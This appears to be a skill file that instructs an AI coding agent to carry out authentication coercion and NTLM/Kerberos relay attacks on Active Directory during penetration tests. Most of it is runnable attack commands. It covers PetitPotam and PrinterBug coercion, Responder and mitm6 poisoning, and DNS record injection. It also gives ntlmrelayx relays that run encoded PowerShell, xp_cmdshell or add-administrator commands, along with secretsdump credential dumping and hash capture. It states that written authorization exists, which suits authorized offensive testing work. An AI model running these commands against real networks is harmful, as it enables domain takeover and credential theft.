Authentication Coercion & Relay

You are helping a penetration tester force remote systems to authenticate to attacker-controlled listeners and relay or capture those credentials for privilege escalation and lateral movement. All testing is under explicit written authorization.

OPSEC exception — Kerberos-first does NOT apply: Coercion and relay attacks are inherently about manipulating authentication protocols (NTLM or Kerberos) at the network layer. The Kerberos-first convention from CLAUDE.md does not apply to the attack itself, though tool setup and enumeration commands still use -k -no-pass where possible.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [auth-coercion-relay] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Domain user credentials (some coercion methods work unauthenticated)
• Network position: same VLAN as targets (for poisoning) or route to targets (for RPC coercion)
• Tools: ntlmrelayx.py (Impacket), Responder, PetitPotam, DFSCoerce, optionally krbrelayx.py, mitm6, netexec

Kerberos-first workflow (for enumeration and setup commands only):

getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -hashes :NTHASH
export KRB5CCNAME=user.ccache
# Enumeration commands below use -k -no-pass

Privileged Commands

Claude Code cannot execute sudo commands. The following tools require root and must be handed off to the user for manual execution:

• ntlmrelayx.py — NTLM relay listener (binds SMB/HTTP/LDAP ports, needs raw sockets)
• responder — LLMNR/NBNS/mDNS/WPAD poisoning (needs raw sockets)
• krbrelayx.py — Kerberos relay listener (needs raw sockets)
• mitm6 — IPv6 DNS takeover (needs raw sockets)
• systemctl — stopping local services (e.g., systemctl stop smbd before relay)

Handoff protocol:

1. Present the full command including sudo to the user
2. Ask the user to run it in their terminal
3. Read output or wait for callback confirmation
4. Continue analysis based on results

Non-privileged commands Claude can execute directly:

• Coercion tools: PetitPotam.py, DFSCoerce.py, printerbug.py, ShadowCoerce, CheeseOunce
• DNS record injection: dnstool.py (krbrelayx — uses LDAP, no raw sockets)
• Enumeration: netexec smb --gen-relay-list, certipy find, bloodyAD
• Kerberos auth setup: getTGT.py, export KRB5CCNAME
• Post-relay exploitation: getST.py, secretsdump.py, certipy auth

Batch all pending privileged commands (relay listener + poisoner + coercion trigger) so the user can start them in one pass.

Step 1: Assess Relay Feasibility

Before coercing, check what relay targets are available.

SMB Signing (Required for SMB Relay)

# Find hosts with SMB signing NOT required
nxc smb 10.10.10.0/24 --use-kcache --gen-relay-list relay-targets.txt

# Check specific hosts
nxc smb TARGET --use-kcache --signing

Signing status by OS (defaults):

LDAP Signing (Required for LDAP Relay)

# Check LDAP signing (nxc or manual)
nxc ldap DC.DOMAIN.LOCAL --use-kcache -M ldap-checker

# Manual check via LDAP query
ldapsearch -H ldap://DC.DOMAIN.LOCAL -x -s base \
  -b "" "(objectClass=*)" supportedCapabilities

• Pre-2025 DCs: LDAP signing typically NOT required (relay works)
• Server 2025 DCs: LDAP signing required by default (relay blocked)
• LDAPS (port 636) requires channel binding — relay typically fails

AD CS Enrollment (Required for Relay to ADCS)

# Find HTTP enrollment endpoints (vulnerable to relay)
nxc ldap DC.DOMAIN.LOCAL --use-kcache -M adcs
certipy find -k -no-pass -u user@DOMAIN.LOCAL -dc-ip DC_IP -stdout | grep "Web Enrollment"

If HTTP enrollment is enabled, NTLM relay to AD CS is viable (ESC8 path).

WebClient Service (Enables HTTP-Based Coercion)

# Check WebClient status on targets (enables HTTP auth callback)
nxc smb 10.10.10.0/24 --use-kcache -M webdav

WebClient converts SMB UNC paths to HTTP, enabling coercion over HTTP (which bypasses SMB signing requirements).

Step 2: Choose Attack Path

Pivoted Relay (Target Behind SOCKS Tunnel)

When the relay target is only reachable through a SOCKS tunnel (chisel, ssh -D, ligolo SOCKS):

Do NOT use proxychains ntlmrelayx.py — proxychains wraps ALL socket calls including the listener. The relay listener must bind locally for the coerced machine to reach it.

Pattern — socat port forward for relay target only:

# Forward relay target through SOCKS (runs in background)
socat TCP-LISTEN:LOCAL_PORT,fork,reuseaddr \
  SOCKS4A:127.0.0.1:TARGET_IP:TARGET_PORT,socksport=SOCKS_PORT &

# ntlmrelayx targets the local socat forward (listener stays local)
ntlmrelayx.py -t ldap://127.0.0.1:LOCAL_PORT -smb2support

If NTLM relay fails through pivot (Server 2022+ MIC enforcement), use krbrelayx (Step 5) — Kerberos relay is not subject to MIC validation.

Step 3: Authentication Coercion

Force a remote machine to authenticate back to your listener.

Coercion Method Reference

Cross-Forest Coercion: Hostname Required

When coercing across a forest trust with ENABLE_TGT_DELEGATION, the listener argument must be a hostname (not an IP). IP causes NTLM fallback; hostname forces Kerberos authentication, which triggers TGT forwarding to the listener DC. See trust-attacks Step 6 for the full TGT delegation coercion methodology.

NetExec coerce_plus (Automated Discovery)

# Test all coercion methods at once
nxc smb TARGET --use-kcache -M coerce_plus

# Test specific method
nxc smb TARGET --use-kcache -M coerce_plus -o METHOD=PetitPotam
nxc smb TARGET --use-kcache -M coerce_plus -o METHOD=PrinterBug
nxc smb TARGET --use-kcache -M coerce_plus -o METHOD=DFSCoerce

PetitPotam (MS-EFSR) — Most Reliable

# Unauthenticated (unpatched DCs only)
python3 PetitPotam.py LISTENER_IP TARGET_DC

# Authenticated (works on patched DCs via lsarpc pipe)
python3 PetitPotam.py -u user -p 'password' -d DOMAIN.LOCAL \
  LISTENER_IP TARGET_DC

PrinterBug (MS-RPRN)

# Check if Spooler is running
rpcdump.py DOMAIN/user@TARGET -k -no-pass | grep MS-RPRN

# Trigger callback
python3 printerbug.py DOMAIN/user@TARGET LISTENER_IP -k -no-pass
# Windows: SpoolSample.exe TARGET LISTENER_IP

DFSCoerce (MS-DFSNM)

python3 dfscoerce.py -u user -d DOMAIN.LOCAL LISTENER_IP TARGET

ShadowCoerce (MS-FSRVP)

python3 shadowcoerce.py -u user -p password -d DOMAIN.LOCAL \
  LISTENER_IP TARGET

MSSQL xp_dirtree (UNC Path Injection)

# If you have MSSQL access
EXEC xp_dirtree '\\LISTENER_IP\share', 1, 1
EXEC master.dbo.xp_fileexist '\\LISTENER_IP\share\file'

Step 3B: DNS Record Injection (Scheduled Task / Script Callback)

When a scheduled task or service script resolves attacker-controllable DNS names and authenticates with NTLM (e.g., PowerShell Invoke-WebRequest with -UseDefaultCredentials), inject a DNS A-record pointing to the attacker and capture the callback.

When to use: Discovery finds a script or scheduled task that:

• Resolves DNS names matching a pattern (e.g., web*, monitor*)
• Authenticates with NTLM (-UseDefaultCredentials, net use, UNC paths)
• Runs as a privileged user (service account, admin, etc.)

Common examples: monitoring scripts, health check scripts, backup scripts that connect to hosts by DNS name.

Requirements:

• Domain user credentials (default AD permissions allow creating DNS records)
• dnstool.py from the krbrelayx toolkit (handles AD DNS binary format correctly)
• Responder or other NTLM capture tool

1. Add DNS A-Record

Use dnstool.py from krbrelayx — it handles the dnsRecord binary attribute format correctly. Do NOT craft the binary record manually — the format includes zone serial number, TTL byte order, and timestamp fields that must match the zone's SOA record. Manual crafting is the most common failure mode for this technique.

# Add A-record pointing to attacker IP
# -u: domain user creds (NTLM auth — no Kerberos needed)
# -a add: add a new record
# -r: record name (must match the pattern the script resolves)
# -d: IP address to point to (attacker)
# -t A: record type (A = IPv4 address)
python3 dnstool.py -u 'DOMAIN.LOCAL\user' -p 'password' DC_IP \
  -a add -r 'RECORDNAME.DOMAIN.LOCAL' -d ATTACKER_IP -t A

# Example: script resolves web*.corp.local
python3 dnstool.py -u 'corp.local\svc_web' \
  -p 'Password123' 10.10.10.1 \
  -a add -r 'target.corp.local' -d ATTACKER_IP -t A

If dnstool.py is not in $PATH, clone krbrelayx:

git clone https://github.com/dirkjanm/krbrelayx.git /tmp/krbrelayx
python3 /tmp/krbrelayx/dnstool.py ...

2. Verify DNS Resolution

Critical step — do not skip. Confirm the DC's DNS server actually serves the record, not just that it exists in LDAP. AD-integrated DNS can have records in LDAP that DNS ignores (wrong binary format, wrong container, stale zone transfer).

# Query the DC's DNS server directly
dig @DC_IP RECORDNAME.DOMAIN.LOCAL A +short

# Or with nslookup
nslookup RECORDNAME.DOMAIN.LOCAL DC_IP

Expected: Returns attacker IP. If NXDOMAIN: See Troubleshooting → "DNS Record in LDAP but Not Served."

3. Start Listener

Start Responder (privileged — use start_process with privileged: true for shell-server, or hand off to operator):

# Responder in capture mode on the correct interface
sudo responder -I tun0 -v

# Or minimal — HTTP only (if script uses HTTP)
sudo responder -I tun0 -v

Port conflicts: If port 80 or 445 is already in use, stop the conflicting service first. Responder will fail silently if it can't bind.

Responder is a daemon, not an interactive shell. After starting it with start_process(privileged=True), do NOT use send_command() or read_output() to monitor it — Responder does not read stdin and its PTY output is unreliable for monitoring. Instead:

1. Start and forget: Call start_process(command="responder -I tun0 -v", privileged=True). Note the session ID but do not interact with it.
2. Verify it's running: Use a separate Bash command to confirm Responder bound its ports: ss -tlnp | grep -E ':(80|445|389)\s'
3. Monitor via log files: Responder writes captured hashes to /opt/Responder/logs/ inside the Docker container. To check for captures, exec into the container:

   # Find the container ID
   docker ps --filter ancestor=red-run-shell --format '{{.ID}}'
   # Check for captured hashes
   docker exec CONTAINER_ID ls /opt/Responder/logs/
   docker exec CONTAINER_ID cat /opt/Responder/logs/Responder-Session.log

   Run these via Bash, not via send_command() on the Responder session.
4. Wait patiently: After planting the coercion trigger (SCF, desktop.ini, DNS record), wait 2–5 minutes, then check logs. Do not burn turns polling the PTY session.

4. Wait for Callback

The script runs on its schedule (typically every 1–15 minutes). Monitor Responder log files (not PTY output) for NTLMv2 hashes. Allow at least two full cycles before concluding the technique failed.

Expected log output:

[HTTP] NTLMv2 Client   : 10.10.10.5
[HTTP] NTLMv2 Username : DOMAIN\ServiceUser
[HTTP] NTLMv2 Hash     : ServiceUser::DOMAIN:challenge:response:blob

Check logs by execing into the Responder container (see step 3 above).

5. Save and Return

Save the hash and return to the orchestrator:

# Find the Responder container
CONTAINER=$(docker ps --filter ancestor=red-run-shell --format '{{.ID}}' | head -1)

# Copy hashes out of the container
docker cp "$CONTAINER:/opt/Responder/logs/" /tmp/responder-logs/
cp /tmp/responder-logs/*NTLMv2*.txt \
  engagement/evidence/<username>-ntlmv2-hash.txt

# Or copy directly from Responder session log
docker exec "$CONTAINER" grep -i ntlmv2 /opt/Responder/logs/Responder-Session.log \
  > engagement/evidence/<username>-ntlmv2-hash.txt

Return with: hash file path, hashcat mode 5600, source username, routing recommendation to credential-recovery.

Cleanup

After capturing the hash, remove the injected DNS record:

python3 dnstool.py -u 'DOMAIN.LOCAL\user' -p 'password' DC_IP \
  -a remove -r 'RECORDNAME.DOMAIN.LOCAL' -t A

Step 4: NTLM Relay

Relay captured NTLM authentication to a target service.

Step 4A: Relay to SMB (Remote Code Execution)

Requires SMB signing not required on target.

# Start relay listener (target list from Step 1)
sudo ntlmrelayx.py -tf relay-targets.txt -smb2support

# With command execution
sudo ntlmrelayx.py -tf relay-targets.txt -smb2support \
  -c "powershell -e BASE64_PAYLOAD"

# Interactive SOCKS proxy (access multiple services through relay)
sudo ntlmrelayx.py -tf relay-targets.txt -smb2support -socks
# Then:
proxychains smbclient //TARGET/C$ -U DOMAIN/MACHINE$ -no-pass
proxychains secretsdump.py DOMAIN/MACHINE$@TARGET -no-pass

Step 4B: Relay to LDAP (Machine Account / RBCD / ACL Abuse)

Requires LDAP signing not enforced on target DC. Relay over LDAPS requires no channel binding.

# Create machine account via relay (uses MachineAccountQuota)
sudo ntlmrelayx.py -t ldaps://DC.DOMAIN.LOCAL --add-computer \
  FAKECOMPUTER$ Password123 -smb2support

# Set RBCD via relay (delegate from attacker machine to target)
sudo ntlmrelayx.py -t ldaps://DC.DOMAIN.LOCAL --delegate-access \
  -smb2support

# Escalate user via relay (add user to group, modify ACLs)
sudo ntlmrelayx.py -t ldaps://DC.DOMAIN.LOCAL \
  --escalate-user attacker_user -smb2support

After RBCD setup:

# Get service ticket via S4U
getST.py -spn cifs/TARGET.DOMAIN.LOCAL -impersonate Administrator \
  DOMAIN.LOCAL/FAKECOMPUTER$:Password123
export KRB5CCNAME=Administrator@cifs_TARGET.DOMAIN.LOCAL@DOMAIN.LOCAL.ccache
secretsdump.py DOMAIN/Administrator@TARGET.DOMAIN.LOCAL -k -no-pass

Step 4C: Relay to AD CS (Certificate Enrollment)

Relay NTLM auth to AD CS HTTP enrollment to obtain a certificate.

# ntlmrelayx to AD CS
sudo ntlmrelayx.py -t http://CA.DOMAIN.LOCAL/certsrv/certfnsh.asp \
  --adcs --template DomainController -smb2support

# certipy relay
certipy relay -target http://CA.DOMAIN.LOCAL/certsrv/certfnsh.asp \
  -template DomainController

After obtaining certificate, authenticate via PKINIT:

certipy auth -pfx dc.pfx -dc-ip DC_IP
# or
python3 gettgtpkinit.py -cert-pfx dc.pfx DOMAIN.LOCAL/DC$ dc.ccache
export KRB5CCNAME=dc.ccache
secretsdump.py DOMAIN/DC$@DC.DOMAIN.LOCAL -k -no-pass

For full AD CS relay exploitation (ESC8/ESC11), route to adcs-access-and-relay.

Step 4D: Relay to MSSQL

# Relay to MSSQL for command execution
sudo ntlmrelayx.py -t mssql://SQL.DOMAIN.LOCAL -smb2support \
  -q "EXEC xp_cmdshell 'whoami'"

# Interactive MSSQL via SOCKS
sudo ntlmrelayx.py -t mssql://SQL.DOMAIN.LOCAL -smb2support -socks
proxychains mssqlclient.py DOMAIN/MACHINE$@SQL.DOMAIN.LOCAL \
  -windows-auth -no-pass

Step 5: Kerberos Relay

Relay Kerberos authentication instead of NTLM — avoids NTLM signing checks but limited to same-host relay (shares machine account key).

Kerberos Relay to AD CS (via LLMNR + Responder)

# Start Responder (only poison, don't serve)
python3 Responder.py -I eth0 -N PKI_SERVER_NETBIOS

# Start krbrelayx targeting AD CS HTTP enrollment
sudo python3 krbrelayx.py \
  --target 'http://CA.DOMAIN.LOCAL/certsrv/' \
  -ip ATTACKER_IP --adcs --template Machine -debug

Kerberos Relay to AD CS (via DNS + mitm6)

# Start krbrelayx
sudo krbrelayx.py \
  --target http://CA.DOMAIN.LOCAL/certsrv/ \
  -ip ATTACKER_IP --victim TARGET.DOMAIN.LOCAL \
  --adcs --template Machine

# Start mitm6 for IPv6 DNS takeover
sudo mitm6 --domain DOMAIN.LOCAL \
  --host-allowlist TARGET.DOMAIN.LOCAL \
  --relay CA.DOMAIN.LOCAL -v

After obtaining certificate:

python3 gettgtpkinit.py -pfx-base64 CERT_B64 \
  DOMAIN.LOCAL/TARGET$ target.ccache
export KRB5CCNAME=target.ccache
secretsdump.py DOMAIN/TARGET$@TARGET.DOMAIN.LOCAL -k -no-pass

Kerberos Relay to LDAP — NOT VIABLE

LDAP auto-negotiates signing with Kerberos auth. When krbrelayx relays a Kerberos AP-REQ to LDAP, the server sees Kerberos authentication and automatically enables LDAP signing — regardless of the server's signing policy. This breaks the relay. Unlike NTLM (where signing is optional and policy-dependent), Kerberos + LDAP always signs.

krbrelayx targets are limited to: ADCS HTTP enrollment (ESC8), SMB (if signing not required — rare), and other HTTP services. Never LDAP.

Ref: Synacktiv — Relaying Kerberos over SMB

Kerberos Reflection (CVE-2025-33073)

Relay a machine's Kerberos auth back to itself via DNS record trick:

# Create special DNS record (authenticated)
dnstool.py -u 'DOMAIN.LOCAL\user' -p 'Password' DC_IP \
  -a add -r 'target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
  -d ATTACKER_IP

# Start krbrelayx for reflection
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support

# Trigger coercion using the crafted hostname
petitpotam.py -d DOMAIN.LOCAL -u user -p 'Password' \
  'target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
  TARGET.DOMAIN.LOCAL

Step 6: Hash Capture (No Relay Available)

When relay is not feasible, capture NetNTLM hashes for offline cracking.

Do NOT crack hashes in this skill. Save captured hashes to engagement/evidence/ and return to the orchestrator with the hash file path, hash type (NTLMv1 mode 5500 or NTLMv2 mode 5600), and a routing recommendation to credential-recovery. The orchestrator will spawn the credential-recovery-agent for offline cracking.

Responder (Capture Mode)

# Capture NetNTLMv2 hashes
sudo responder -I eth0 -wfrd -P -v

# Hashes saved to /usr/share/responder/logs/

NTLMv1 Downgrade (When LmCompatibilityLevel Allows)

If LmCompatibilityLevel <= 1 (send LM & NTLM response):

# Set challenge to known value for rainbow table lookup
# Edit Responder.conf: Challenge = 1122334455667788
sudo responder -I eth0 --lm --disable-ess

# NTLMv1 hashes with magic challenge can be cracked via shuck.sh
# Save hash file and route to credential-recovery (hashcat mode 5500)

Coercion for Hash Capture (Without Relay)

# Start Responder, then coerce
sudo responder -I eth0 -v
python3 PetitPotam.py ATTACKER_IP TARGET_DC
# Captured machine$ NetNTLM hash -> save and return for cracking

After Capture

Save the hash to engagement/evidence/<target>-ntlmv2-hash.txt and return to the orchestrator with:

• Hash file path
• Hash type and hashcat mode (NTLMv2 = 5600, NTLMv1 = 5500)
• Source username and domain
• Routing recommendation: credential-recovery

Step 7: Name Resolution Poisoning (LLMNR/NBNS/WPAD)

Poison multicast name resolution to capture hashes from machines requesting nonexistent hostnames.

Responder (LLMNR + NBNS + WPAD)

# Full poisoning mode
sudo responder -I eth0 -wfrd -P -v

# Passive analysis first (see what's being requested)
sudo responder -I eth0 -A

mitm6 (IPv6 DNS Takeover)

More stealthy than LLMNR poisoning — exploits IPv6 auto-configuration.

# IPv6 DNS takeover -> relay to LDAP
sudo mitm6 -i eth0 -d DOMAIN.LOCAL

# Combine with ntlmrelayx
sudo ntlmrelayx.py -6 -wh ATTACKER_IP \
  -t ldaps://DC.DOMAIN.LOCAL --add-computer -smb2support

Inveigh (Windows Alternative)

# PowerShell
Import-Module .\Inveigh.psd1
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

# InveighZero (C# binary)
.\Inveigh.exe

Step 8: Advanced Relay Techniques

Drop the MIC (CVE-2019-1040)

Patched on Server 2022+ (KB5005413+). MIC enforcement is mandatory — --remove-mic has no effect. Route to Kerberos relay (Step 5) instead.

Remove the MIC (Message Integrity Code) from NTLM relay to bypass NTLM signing on the relay path (pre-2022 targets only):

# Remove MIC and escalate via LDAP
sudo ntlmrelayx.py --remove-mic --escalate-user attacker \
  -t ldap://DC.DOMAIN.LOCAL -smb2support

# Remove MIC and set RBCD
sudo ntlmrelayx.py -t ldaps://DC.DOMAIN.LOCAL --remove-mic \
  --delegate-access -smb2support

Ghost Potato (CVE-2019-1384)

Local privilege escalation via NTLM relay with DCOM:

sudo ntlmrelayx.py -t ldaps://DC.DOMAIN.LOCAL \
  --gpotato-startup 'C:\Windows\System32\cmd.exe /c net localgroup Administrators attacker /add'

NTLM Reflection (CVE-2025-33073)

Relay a machine's NTLM auth back to itself via DNS TXT record:

dnstool.py -u 'DOMAIN.LOCAL\user' -p 'Password' DC_IP \
  -a add -r 'target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
  -d ATTACKER_IP
ntlmrelayx.py -t smb://TARGET.DOMAIN.LOCAL -smb2support

Step 9: Escalate or Pivot

STOP and return to the orchestrator with:

• What was achieved (RCE, creds, file read, etc.)
• New credentials, access, or pivot paths discovered
• Context for next steps (platform, access method, working payloads)

Troubleshooting

Relay Fails with "LDAP Signing Required"

LDAP relay requires signing NOT enforced. Check:

nxc ldap DC.DOMAIN.LOCAL --use-kcache -M ldap-checker

If signing is required, relay to AD CS (HTTP) or SMB instead.

Coercion Returns "Access Denied"

• PetitPotam unauthenticated was patched — use authenticated mode
• PrinterBug requires Spooler service running — check with rpcdump
• Try alternate coercion methods (DFSCoerce, ShadowCoerce)
• WebClient-based HTTP coercion may bypass SMB-level blocks

Coercion Succeeds but No Relay Connection

Symptoms: coercion tool reports "Exploit Success" or "VULNERABLE" but ntlmrelayx log shows zero incoming connections ("waiting for connections" and nothing else).

This means the target's callback connection is not reaching you. The coercion RPC succeeded (the API call returned OK) but the target cannot or will not connect outbound to your listener.

Common causes (all on the target side — not your attackbox):

• Windows Firewall on target blocks outbound SMB to non-DC addresses
• Network segmentation / firewall between target and attacker
• Lab environments often restrict outbound SMB
• Target's SMB client prefers Kerberos and won't fall back to NTLM

Do NOT debug your own network stack. If ntlmrelayx is listening (confirmed via ss -tlnp | grep :445) and coercion reports success, the problem is outbound from the target. Running tcpdump, iptables checks, nftables dumps, or netcat tests on the attackbox will not help.

Action: After 2 coercion methods fail to produce a relay connection:

1. add_blocked(technique="ntlm-coercion-relay", reason="coercion succeeds but callback never arrives — outbound SMB likely blocked on target")
2. Message the lead with the finding — they may have network context
3. STOP and return. Do not continue trying coercion variants.

Alternative paths the lead may consider:

• WebDAV coercion (HTTP callback on port 80) bypasses SMB firewall rules but requires WebClient service running on target
• Kerberos relay (krbrelayx) avoids NTLM entirely
• Shadow Credentials or RBCD via direct LDAP write (if you have write perms, no coercion needed)
• Crack the Kerberoast hash and use constrained delegation

NTLM Relay Rejected on Server 2022+ (MIC Enforcement)

Symptoms: relay completes NTLM handshake but target rejects auth. --remove-mic has no effect. Server 2022+ enforces MIC (CVE-2019-1040 patched). Fix: Use Kerberos relay (Step 5) — not subject to MIC. Do not retry ntlmrelayx variants.

MachineAccountQuota is 0

Default ms-DS-MachineAccountQuota is 10. If set to 0:

• Cannot create machine accounts via relay
• Use --delegate-access instead (modifies existing object)
• Or relay to AD CS for certificate-based escalation

DNS Record in LDAP but Not Served

The record appears in LDAP (ldapsearch shows it in DomainDnsZones) but dig @DC_IP returns NXDOMAIN. Causes:

1. Wrong binary format — the dnsRecord attribute uses a Microsoft- specific binary encoding with zone serial, TTL, and timestamp fields. If any field is malformed, the DNS server ignores the record silently. Fix: Use dnstool.py from krbrelayx — it reads the zone SOA to get the correct serial number and constructs valid binary blobs. Never craft the binary record manually via ldapmodify or Python LDAP.
2. Wrong container — AD DNS records live under DC=<zone>,CN=MicrosoftDNS,DC=DomainDnsZones,DC=<domain>,.... Records placed elsewhere (e.g., under CN=MicrosoftDNS,CN=System) are not served by the DNS server. dnstool.py uses the correct container by default.
3. DNS cache / zone transfer delay — AD-integrated DNS zones update from LDAP, but there can be a brief delay. Wait 30–60 seconds and retry dig. If it still fails after 2 minutes, the binary format is likely wrong.
4. Record name collision — if a record with the same name already exists (including tombstoned records), the add may silently fail or create a duplicate that DNS ignores. Check for existing records:

   python3 dnstool.py -u 'DOMAIN\user' -p 'pass' DC_IP \
     -a query -r 'RECORDNAME.DOMAIN.LOCAL' -t A

   If a stale record exists, remove it first with -a remove, then re-add.

If dnstool.py itself fails (connection error, access denied):

• Verify the user has domain user privileges (default allows DNS record creation in DomainDnsZones)
• Check LDAP connectivity: ldapsearch -H ldap://DC_IP -x -b "" -s base
• Clock skew can affect the LDAP bind — sync clock if needed

KRB_AP_ERR_SKEW (Clock Skew)

Kerberos requires clocks within 5 minutes of the DC. This applies to the initial LDAP enumeration phase (authenticated coercion endpoint discovery), not to the relay attack itself (which uses NTLM). This is a Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM for the Kerberos-authenticated operations. The fix requires root:

sudo ntpdate DC_IP
# or
sudo rdate -n DC_IP

OPSEC Comparison